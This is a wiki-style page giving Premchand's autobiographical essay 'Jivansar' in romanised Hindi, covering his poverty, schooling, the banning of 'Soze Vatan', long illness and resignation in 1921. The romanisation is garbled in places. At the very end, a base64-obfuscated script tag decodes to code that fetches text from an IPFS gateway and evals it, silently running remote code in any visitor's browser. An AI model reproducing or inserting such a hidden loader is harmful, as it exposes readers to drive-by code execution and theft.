जीवनसार- प्रेमचंद

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

mera jivan sapat, samatal maidan hai, jisamean kahian-kahian gadhe to haian, par tiloan, parvatoan, ghane jangaloan, gahari ghatiyoan aur khandaharoan ka sthan nahian hai. jo sajjan paha doan ki sair ke shaukin haian, unhean to yahaan nirasha hi hogi. mera janm samvath 1967 mean hua. pita dakakhane mean klark the, mata marij. ek b di bahin bhi thi. us samay pitaji shayad 20 rupaye pate the. 40 rupaye tak pahuanchate-pahuanchate unaki mrityu ho gayi. yoan vah b de hi vicharashil, jivan-path par aankhean kholakar chalane vale adami the; lekin akhiri dinoan mean ek thokar kha hi gaye aur khud to gire hi the, usi dhakke mean mujhe bhi gira diya. pandrah sal ki avastha mean unhoanne mera vivah kar diya aur vivah karane ke sal hi bhar bad paralok sidhare. us samay maian navean daraje mean padhata tha. ghar mean meri stri thi, vimata thi, unake do balak the, aur amadani ek paise ki nahian. ghar mean jo kuchh leee-pooanji thi, vah pitaji ki chh: mahine ki bimari aur kriya-karm mean kharch ho chuki thi. aur mujhe araman tha, vakil banane ka aur em0e0 pas karane ka. naukari us jamane mean bhi itani hi dushprapy thi, jitani ab hai. dau d-dhoop karake shayad das-barah ki koee jagah pa jata; par yahaan to age padhane ki dhun thi-paanv mean lohe ki nahian ashtadhatu ki bediy़aan thian aur maian chadhऩa chahata tha paha d par!

paanv mean joote n the. deh par sabit kap de n the. mahangi alag- 10 ser ke jau the. skool se sadhe tin baje chhutti milati thi. kashi ke kvians kalej mean padhata tha. hedamastar ne phis maph kar di thi. imtahan sir par tha. aur maian baans ke phatak par ek l dake ko padhane jata tha. ja doan ke din the. char baje pahuanchata tha. padhakar chh: baje chhutti pata. vahaan se mera ghar dehat mean paanch mil par tha. tej chalane par bhi ath baje se pahale ghar n pahuanch sakata. aur prat:kal ath hi baje phir ghar se chalana p data tha, kabhi vakt par skool n pahuanchata. rat ko bhojan karake kuppi ke samane padhane baithata aur n jane kab so jata. phir bhi himmat baandhe hue tha.

maitrikuleshan to kisi tarah pas ho gaya, par aya sekend divijan mean aur kvians kalej mean bharati hone ki asha n rahi. fis keval avval daraje vale ki hi muaf ho sakati thi. sanyog se usi sal hindoo kalej khul gaya. maianne is naye kalej mean padhane ka nishchay kiya. priansipal the mi0 richardasan. unake makan par gaya. vah poore hindustani vesh mean the. kurata aur dhoti pahane pharsh par baithe kuchh likh rahe the. magar mizaj ko tabadil karana itana asan n tha. meri prarthana sunakar-adhi hi kahane paya tha-bole ki ghar mean kalej ki batachit nahian karata, qalej mean ao. khair, kalej mean gaya. mulakat huee; par nirashajanak. fis muaf n ho sakati thi. ab kya karooan? agar pratishthit sipharishean la sakata, to shayad meri prarthana par kuchh vichar hota; lekin dehati yuvak ko shahar mean janata hi kaun tha?

roj ghar se chalata ki kahian se sifarish laooan, par barah mil ki manzil marakar sham ko ghar laut ata. kisase kahooan? koee apana puchhattar n tha.

kee dinoan ke bad ek sifarish mili. ek thakur indranarayan sianh hindoo kalej ki prabandhakarini sabha mean the. unase jakar roya. unhean mujh par daya a gayi. sifarishi chiththi de di. us samay mere anand ki sima n rahi. khush hota hua ghar aya. doosare din prinsipal se milane ka irada tha; lekin ghar pahuanchate hi mujhe jvar a gaya. aur do saptah se pahale n hila. nim ka kadha pite-pite nak mean dam a gaya. ek din dvar par baitha tha ki mere purohitaji a gaye. meri dasha dekhakar samachar poochha aur turant khetoan mean jakar ek j d khod laye aur use dhokar sat dane kali mirch ke sath pisavakar mujhe pila diya. usane jadoo sa asar kiya. jvar chadhऩe mean ghante hi bhar ki der thi. is aushadh ne, manoan jakar usaka gala hi daba diya. maianne panditaji se bar-bar us j di ka nam poochha, par unhoanne n bataya. kaha-nam bata dene se usaka asar jata rahega.

ek mahine bad maian phir mi0 richardasan se mila aur sifarishi chiththi dikhaee. priansipal ne meri taraph tivr netroan se dekhakar poochha-itane dinoan kahaan the?

‘bimar ho gaya tha.’

‘kya bimari thi?’

maian is prashn ke lie taiyar n tha. agar jvar batata hooan to shayad sahab mujhe jhootha samajhean. jvar meri samajh mean halaki-si chiz thi, jisake lie itani lambi gairahajiri anavashyak thi. koee aisi bimari batani chahie, jo apani kashtasadhyata ke karan daya ko bhi ubhare. us vakt mujhe aur kisi bimari ka nam yad n aya. thakur indranarayan sianh se jab maian sifarish ke lie mila tha, to unhoanne apane dil ki dhadaqan ki bimari ki charcha ki thi. vah shabd mujhe yad a gaya.

maianne kaha-pailapiteshan aph hart sar!

sahab ne vismit hokar meri or dekha aur kaha-ab tum bilakul achchhe ho?

‘ji haan!’

‘achchha, pravesh-patr bharakar lao.’

maianne samajha be da par hua. pharm liya, khanapuri ki aur pesh kar diya. sahab us samay koee klas le rahe the. tin baje mujhe pharm vapas mila. us par likha tha-isaki yogyata ki jaanch ki jay.

yah nee samasya upasthit huee. mera dil baith gaya. aangreji ke siva aur kisi vishay mean pas hone ki mujhe asha n thi. aur bijaganit aur rekhaganit se to rooh kaanpati thi. jo kuchh yad tha, vah bhi bhool-bhal gaya tha; lekin doosara upay hi kya tha? bhagy ka bharosa karake klas mean gaya aur apana pharm dikhaya. prophesar sahab bangali the aangreji padha rahe the. vashiangatan irviang ka ‘ripivan viankil’ tha. maian pichhe ki katar mean jakar baith gaya aur do-hi-char minit mean mujhe jnat ho gaya ki prophesar sahab apane vishay ke jnata haian. ghanta samapt hone par unhoanne aj ke path par mujhase kee prashn kiye aur farm par ‘santoshajanak’ likh diya.

doosara ghanta bijaganit ka tha. isake prophesar bhi bangali the. maianne apana farm dikhaya. nee sansthaoan mans pray: vahi chhatr ate haian, jinhean kahian jagah nahian milati. yahaan bhi yahi hal tha. klasoan mean ayogy chhatr bhare hue the. pahale rele mean jo aya, vah bharati ho gaya. bhookh mean sag-pat sabhi ruchikar hota hai. ab pet bhar gaya tha. chhatr chun-chunakar liye jate the. in prophesar sahab ne ganit mean meri pariksha li aur maian phel ho gaya. farm par ganit ke khane mean ‘asantoshajanak’ likh diya.

maian itana hatash hua ki farm lekar phir prinsipal ke pas n gaya. sidha ghar chala aya. ganit mere lie gaurishankar ki choti thi. kabhi us par n chadh saka. ‘intaramidiet’ mean do bar ganit mean phel hua aur nirash hokar imtahan dena chho d diya. das-barah sal ke bad jab ganit ki pariksha mean akhtiyari ho gayi tab maianne doosare vishay lekar use asani se pas kar liya. us samay tak yoonivarsiti ke is niyam ne, kitane yuvakoan ki akaankshaoan ka khoon kiya, kaun kah sakata hai. khair maian nirash hokaraghar to laut aya; lekin padhane ki lalasa abhi tak bani huee thi. ghar baithakar kya karata? kisi tarah ganit ko sudharooan aur kalej mean bharati ho jaooan, yahi dhun thi. isake lie shahar mean rahana zaroori tha. sanyog se ek vakil sahab ke ladaqoan ko padhane ka kam mil gaya. paanch rupaye vetan thahara maianne do rupaye mean apana gujar karake tin rupaye ghar par dene ka nishchay kiya. vakil sahab ke astabal ke oopar ek chhoti-si kachchi kothari thi. usi mean rahane ki ajna le li! ek tat ka tuk da bichha diya! bazar se ek chhota sa laimp laya aur shahar mean rahane laga. ghar se kuchh baratan bhi laya. ek vakt khich di paka leta aur baratan dho-maanjakar laibreri chala jata. ganit to bahana tha, upanyas adi padha karata. pandit ratananath dar ka ‘phasana-e-azad’ unhian dinoan padha. ‘chandrakanta-santati’ bhi padhi. bankim baboo ke urdoo anuvad, jitane pustakalay mean mile, sab padh dale. jin vakil sahab ke ladaqoan ko padhata tha, unake sale mere sath maitrikuleshan mean padhate the. unhian ki sifarish se mujhe yah pad mila tha. unase dosti thi, isalie jab zaroorat hoti, paise udhar le liya karata tha. vetan milane par hisab ho jata tha. kabhi do rupaye hath ate, kabhi tin. jis din vetan ke do-tin rupaye milate, mera sanyam hath se nikal jata. pyasi trishna halavaee ki dookan ki or khianch le jati. do-tin ane paise khakar hi uthata. usi din ghar jata aur do-dhaee rupaye de ata. doosare din se phir udhar lena shuroo kar deta; lekin kabhi-kabhi udhar maangane mean bhi sankoch hota aur din-ka-din niraharavrat rakhana p d jata.

is tarah char-paanch mahine bite. is bich ek bajaj se do-dhaee rupaye ke kap de liye the. roj udhar se nikalata tha. use mujh par vishvas ho gaya tha. jab mahine-do-mahine nikal gaye aur maian rupaye n chuka saka, to maianne udhar se nikalana hi chho d diya! chakkar dekar nikal jata. tin sal ke bad usake rupaye ada kar saka. usi jamane mean shahar ka ek beladar mujhase hindi padhane aya karata tha. vakil sahab ke pichhava de usaka makan tha. ‘jan lo bhaiya’ usaka sakhun takiya tha. ham log use ‘jan lo bhaiya’ hi kaha karate the. ek bar maianne usase bhi ath ane paise udhar liye the. vah paise usane mujhase mere ghar gaanv mean jakar paanch sal bad vasool kiye. meri ab bhi padhane ki ichchha thi; lekin din-din nirash hota jata tha. ji chahata tha, kahian naukari kar looan. par naukari kaise milati hai aur kahaan milati hai, yah n janata tha.

ja doan ke din the. pas ek kau di n thi. do din ek-ek paise ka chabena khakar kate the. mere mahajan ne udhar dene se inakar kar diya tha, ya sankochavash maian usase maang n saka tha. chirag jal chuke the. maian ek bukaselar ki dookan par ek kitab bechane gaya tha. chakravarti ganit ki kuanji thi. do sal hue kharidi thi. ab tak use b de jatan se rakhe hue tha; par aj charoan or se nirash hokar maianne use bechane ka nishchay kiya. kitab do rupaye ki thi; lekin ek par sauda thik hua. maian rupaya lekar dookan se utara hi tha ki ek b di-b di mooanchhoan vale saumy purush ne, jo us dookan par baithe hue the, mujhase poochha-tum kahaan padhate ho?

maianne kaha-padhata to kahian nahian hooan; par asha karata hooan ki kahian nam likha looanga.

‘maitrikuleshan pas ho?’

‘ji haan.’

‘naukari karane ki ichchha to nahian hai?’

‘naukari kahian milati hi nahian.’

vah sajjan ek chhote-se skool ke hedamastar the. inhean ek sahakari adhyapak ki zaroorat thi. atharah rupaye vetan tha. maianne svikar kar liya. atharah rupaye us jamane meri nirasha-vyathit kalpana ki ooanchi-se-ooanchi u dan se bhi oopar the. maian doosare din hedamastar sahab se milane ka vada karake chala, to paanv zamin par n p date the. yah sanh 1899 ki bat hai. paristhitiyoan ka samana karane ko taiyar tha aur ganit mean atak n jata, to avashy age jata; par sabase kathin paristhiti yoonivarsiti ki manovijnan-shoonyata thi, jo us samay aur usake kee sal bad tak us dakoo ka-sa vyavahar karati thi, jo chhote-b de sabhi ko ek hi khat par sulata hai.

2

maianne pahale-pahal 1907 mean galpean likhani shuroo kian. daktar ravindranath ki kee galpean maianne aangreji mean padhi thian aur unaka urdoo anuvad urdoo patrikaoan mean chhapavaya tha. upanyas to maianne 1901 hi se likhana shuroo kiya. mera ek upanyas 1902 mean nikala aur doosara 1904 mean; lekin galp 1907 se pahile maianne ek bhi n likhi. meri pahali kahani ka nam tha, ‘sansar ka sabase anamol ratn’. vah 1907 mean, ‘jamana’ mean chhapi. usake bad maianne char-paanch kahaniyaan likhian. paanch kahaniyoan ka sangrah ‘soje vatan’ ke nam se 1909 mean chhapa. us samay bang-bhang ka andolan ho raha tha. kaangres mean garm dal ki srishti ho chuki thi. in paanchoan kahaniyoan mean svadesh-prem ki mahima gaee gayi thi.

us vakt maian shiksha-vibhag mean sab dipti insapektar tha aur hamirapur zile mean tainat tha. pustak ko chhape chh: mahine ho chuke the. ek din maian rat ko apani ravati mean baitha hua tha ki mere nam jiladhish ka paravana pahuancha, ki mujhase turant milo. ja doan ke din the. sahab daure par the. maianne bailaga di jutavaee aur ratoan-rat 30-40 mil tay karake doosare din sahab se mila. sahab ke samane ‘soje vatan’ ki ek prati rakhi huee thi. mera matha thanaka. us vakt maian ‘navabaray’ ke nam se likha karata tha. mujhe isaka kuchh-kuchh pata mil chuka tha ki khuphiya pulis is kitab ke lekhak ki khoj mean hai. samajh gaya, un logoan ne mujhe khoj nikala aur isi ki javabadehi karane ke lie mujhe bulaya gaya hai.

sahab ne mujhase poochha-yah pustak tumane likhi hai?

maianne svikar kiya.

sahab ne mujhase ek-ek kahani ka ashay poochha aur ant mean bigadaqar bole-tumhari kahaniyoan mean ‘sidishan’ bhara hua hai. apane bhagy ko bakhano ki aangreji amaladari mean ho. mugaloan ka rajy hota, to tumhare donoan hath kat liye jate. tumhari kahaniyaan ekaangi haian, tumane aangreji sarakar ki tauhin ki hai, adi. phaisala yah hua ki maian ‘soje vatan’ ki sari pratiyaan sarakar ke havale kar dooan aur sahab ki anumati ke bina kabhi kuchh n likhooan. maianne samajha, chalo sasta chhoote. ek hazar pratiyaan chhapi thian. abhi mushkil se 300 biki thian. 700 pratiyaan maianne ‘jamana karyalay’ se mangavakar sahab ki seva mean arpan kar dian.

maianne samajha tha, bala tal gayi; kintu adhikariyoan ko itani asani se santosh n ho saka. mujhe bad ko maloom hua ki sahab ne is vishay mean zile ke any karmachariyoan se paramarsh kiya. suparintedent pulis, do dipti kalektar aur dipti insapektar-jinaka maian matahat tha meri takadir ka phaisala karane baithe. ek dipti kalektar sahab ne galpoan se uddharan nikalakar siddh kiya ki inamean adi se ant tak sidishan ke siva aur kuchh nahian hai. aur sidishan bhi sadharan nahian; balki sankramak. pulis ke devata ne kaha-aise khataranak adami ko zaroor sakht saza deni chahie. dipti-insapektar sahab mujhase bahut sneh karate the. is bhay se ki kahian muamala tool n pak d le, unhoanne yah prastav kiya ki vah mitrabhav se mere rajanitik vicharoan ki thah lean aur us kameti mean riport pesh karean. unaka vichar tha, ki mujhe samajha dean aur riport mean likh dean, ki lekhak keval qalam ka ugr hai aur rajanitik andolan se usaka koee sambandh nahian hai. kameti ne unake prastav ko svikar kiya. halaanki pulis ke devata us vakt bhi paiantare badalate rahe.

sahasa kalektar sahab ne dipti insapektar se poochha-apako asha hai ki vah apase apane dil ki batean kah dega?

‘ap mitr banakar usaka bhed lena chahate haian. yah to mukhabiri hai. maian ise kaminapan samajhata hooan.’

dipti sahab apratibh hokar hakalate hue bole-maian to huzoor ke hukm ..... sahab ne bat kati-nahian, yah mera hukm nahian hai. maian aisa hukm nahian dena chahata. agar pustak ke lekhak ka sidishan sabit ho sake, to khuli adalat mean mukadama chalaie, nahian dhamaki dekar chho d dijie. ‘muanh mean ram, bagal mean chhuri’ mujhe pasand nahian.

jab yah vrittant dipti insapektar sahab ne kee din pichhe khud mujhase kaha, to maianne poochha-kya ap sachamuch meri mukhabiri karate?

vah hansakar bole-asambhav! koee lakh rupaye bhi deta, to n karata. maian to keval adalati karravaee rokana chahata tha, aur vah ruk gayi. mukadama adalat mean ata, to saza ho jana yakini tha. yahaan apaki pairavi karane vala bhi koee n milata; magar sahab haian sharif adami.

maianne svikar kiya-bahut hi shariph.

3

maian hamirapur hi mean tha ki mujhe pechish ki shikayat paida ho gayi. garmi ke dinoan mean dehatoan mean koee hari tarakari milati n thi. ek bar kee din tak lagatar sookhi ghuaniyaan khani p dian. yoan maian ghuaniyoan ko bichchhoo samajhata hooan aur tab bhi samajhata tha; lekin n-jane kyoankar yah dharana man mean ho gayi ki ajavain se ghuaniyaan ka badipan jata rahata hai. khoob ajavain kha liya karata. das-barah din tak kisi tarah ka kasht n hua. maianne samajha, shayad bundelakhand ki paha di jalavayu ne meri durbal pachan shakti ko tivr kar diya; lekin ek din pet mean dard hua aur sare din maian machhali ki bhaanti t dapata raha. phankiyaan lagayian; magar dard n kam hua. doosare din se pechish ho gayi; mal ke sath aanv ane laga; lekin dard jata raha.

ek mahina bit chuka tha. maian ek kasbe mean pahuancha, to vahaan ke thanedar sahab ne mujhase thane mean hi thaharane aur bhojan karane ka agrah kiya. kee din se mooang ki dal khate aur pathy karate-karate oob utha tha. socha kya haraj hai, aj yahian thaharo. bhojan to svadisht milega! thane mean hi adda jama diya. darogaji ne jamiankand ka salan pakavaya, pakaudiy़aan, dahi-b de, pulav. maianne ehatiyat se khaya-jamiankand to maianne keval do phaankean khayian; lekin kha-pikar jab thane ke samane darogaji ke phoos ke bangale mean leta, to do-dhaee ghante ke bad pet mean phir dard hone laga. sari rat aur agale din-bhar karahata raha. sode ki do botalean pine ke bad kai huee, to jakar chain mila. mujhe vishvas ho gaya, yah jamiankand ki karastani hai. ghuaniyaan se pahale meri kutti ho chuki thi. ab jamiankand se bhi bair ho gaya. tabase in donoan chijoan ki soorat dekhakar maian kaanp jata hooan. dard to phir jata raha; par pechish ne adda jama diya. pet mean chaubisoan ghante tanav bana rahata. aphara hua karata. sanyam ke sath char-paanch mil tahalane jata, vyayam karata, pathy se bhojan karata, koee-n-koee aushadhi bhi khaya karata; kintu pechish talane ka nam n leti thi, aur deh bhi ghulati jati thi. kee bar kanapur akar dava karayi, ek bar mahine-bhar prayag mean daktari aur ayurvedik aushadhiyoan ka sevan kiya; par koee fayada nahian.

tab maianne tabadala karaya. chahata tha rohelakhand; par pataka gaya basti ke zile mean, aur halaka vah mila jo nepal ki taraee hai. saubhagy se vahian mera parichay sv0 pan0 mannan dvivedi gajapuri se hua, jo domariyaganj mean tahasiladar the. kabhi-kabhi unake sath sahity-charcha ho jati thi; lekin yahaan akar pechish aur badh gayi. tab maianne chh: mahine ki chhutti li; aur lakhanoo ke medikal kalej se nirash hokar kashi ke ek hakim se ilaj karane laga. tin-char mahine bad kuchh tho da-sa fayada to maloom hua, par bimari j d se n gayi. jab phir basti mean pahuancha to vahi halat ho gayi. tab maianne daure ki naukari chho d di aur basti haeeskool mean skool-mastar ho gaya. phir yahaan se tabadil hokar gorakhapur pahuancha. pechish poorvavat jari rahi. yahaan mera parichay mahavir prasadaji poddar se hua jo sahity ke marmajn, rashtr ke sachche sevak aur b de hi udyogi purush haian. maianne basti se hi ‘sarasvati’ mean kee galpean chhapavayian thian. poddaraji ki prerana se maianne phir upanyas likha aur ‘sevasadan’ ki srishti huee. vahian maianne praivet bi0e0 bhi pas kiya. ‘sevasadan’ ka jo adar hua, usase utsahit hokar maianne ‘premashram’ likh dala aur galpean bhi barabar likhata raha.

kuchh mitroan ki, visheshakar poddaraji ki salah se maianne jal-chikitsa arambh ki; lekin tin-char mahine ke snan aur pathy ka mere durbhagy se yah parinam hua ki mera pet badh gaya aur mujhe rasta chalane mean bhi durbalata maloom hone lagi. ek bar kee mitroan ke sath mujhe ek jine par chadhऩe ka avasar p da. aur log dh dadh date hue chale gaye, par mere paanv hi n uthate the. b di mushkil se hathoan ka sahara lete hue oopar pahuancha. usi din mujhe apani kamazori ka yatharth jnan hua. samajh gaya, ab tho de dinoan ka aur mehaman hooan, jal-chikitsa band kar di.

ek din sandhya samay ‘urdoo bazar’ mean shri dasharathaprasadaji dvivedi, sampadak ‘svadesh’ se meri bheant ho gayi. kabhi-kabhi unase bhi sahity-charcha hoti rahati thi. unhoanne meri pili soorat dekhakar khed ke sath kaha-babooji, ap to bilakul pile p d gaye haian, koee ilaj karaie.

mujhe apani bimari ka zikr bura lagata tha. maian bhool jana chahata tha ki maian bimar hooan. jab do-char mahine hi ka zindagi se nata hai, to kyoan n hansakar marooan? maianne chidhaqar kaha-mar hi to jaooanga bhee, ya aur kuchh! maian maut ka svagat karane ko taiyar hooan. dvivediji bechare lajjit ho gaye. mujhe pichhe se apani ugrata par b da khed hua. yah 1921 ki bat hai. asahayog andolan joroan par tha. jaliyaanvala bag ka hatyakand ho chuka tha. unhian dinoan mahatma gaandhi ne gorakhapur ka daura kiya. gajimiyaan ke maidan mean ooancha pletapharm taiyar kiya gaya. do lakh se kam jamav n tha. kya shahar, kya dehat, shraddhalu janata dau di chali ati thi. aisa samaroh maianne apane jivan mean kabhi n dekha tha. mahatmaji ke darshanoan ka yah pratap tha, ki mujh-jaisa mara hua adami bhi chet utha. usake do hi char din bad maianne apani 20 sal ki naukari se istipha de diya.

ab dehat mean chalakar kuchh prachar karane ki ichchha huee. poddaraji ka dehat mean ek makan tha. ham aur vah donoan vahaan chale gaye aur charkhe banavane lage. vahaan jane ke ek hi saptah bad meri pechish kam hone lagi. yahaan tak ki ek mahine ke andar mal ke sath aanv ana band ho gaya. phir maian kashi chala aya aur apane dehat mean baithakar kuchh prachar aur kuchh sahity-seva mean jivan ko sarthak karane laga. gulami se mukt hote hi maian nau sal ke jirn rog se mukt ho gaya.

is anubhav ne mujhe kattar bhagyavadi bana diya hai. ab mera dridh vishvas hai ki bhagavanh ki jo ichchha hoti hai vahi hota hai, aur manushy ka udyog bhi ichchha ke bina saphal nahian hota.

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>